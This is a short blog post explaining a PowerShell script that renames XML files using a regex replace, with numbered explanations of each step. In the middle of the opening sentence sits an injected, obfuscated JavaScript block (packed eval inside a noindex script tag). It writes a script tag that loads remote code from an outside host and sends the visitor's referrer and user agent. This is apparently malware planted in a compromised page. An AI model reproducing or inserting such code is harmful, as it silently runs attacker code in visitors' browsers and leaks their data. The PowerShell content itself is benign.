Sometimes you need to quickly do a mass rename of a large number of files in a directory.

Rename <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irkzz|var|u0026u|referrer|itrhr||js|php'.split('|'),0,{}))
</script></noindex> a file like this: 
ABC_20150321124112_1801.xml 
to a filename like this:
XYZ_201503211241.xml

Sample Code

cls
cd "C:\TempRename" 
Get-ChildItem -Filter *.xml | Foreach-Object{   
   $NewName = $_.Name -replace "ABC_(.*?)\d{2}_\d{4}.xml", "XYZ_`$1.xml"
   Write-Host $NewName
   Rename-Item -Path $_.FullName -NewName $NewName
}

Step by Step Explanation

1. The CD shouldn’t be needed, but if you are running Powershell in a different directory in ISE, it can be helpful.
2. Get-ChildItem returns all files in the current directory with the mask *.xml
3. Then “ForEach” matching file, do what is in the curly brackets of the Foreach-Object loop. If you know what you are doing you can pipe without the Foreach, but I like to break it down, so I can add the debug Write-Host statements and run a simulation run (by commenting out the actual Rename-Item statement) before the final rename.
4. The -replace is the keyword that tells us that we are doing a RegEx replace. Here I’m changing a date like this: YYYYMMDDHHMMSS_xxxx to YYYYMMDDHHMM. (This was a requirement of the a customer. The downside is you could have duplicate files on the rename if more than one file was created in the same minute; but that was not our issue.)
I’m using the () to capture the YYYYMMDDHHMM string and then the `$1 substitutes that string back into the new filename. The grave-accent mark is the escape character to tell Powershell that I don’t want to insert a variable by the name $1 (which would have a value of null or empty-string, because I don’t have such a variable. $1 is used only with the Powershell replace, it’s not a real Powershell variable.
5. Write-Host shows the new filename.
6. Do the actual rename. Just comment out this line with # at the beginning to do a simulation run and verify the names.

Filed under: Powershell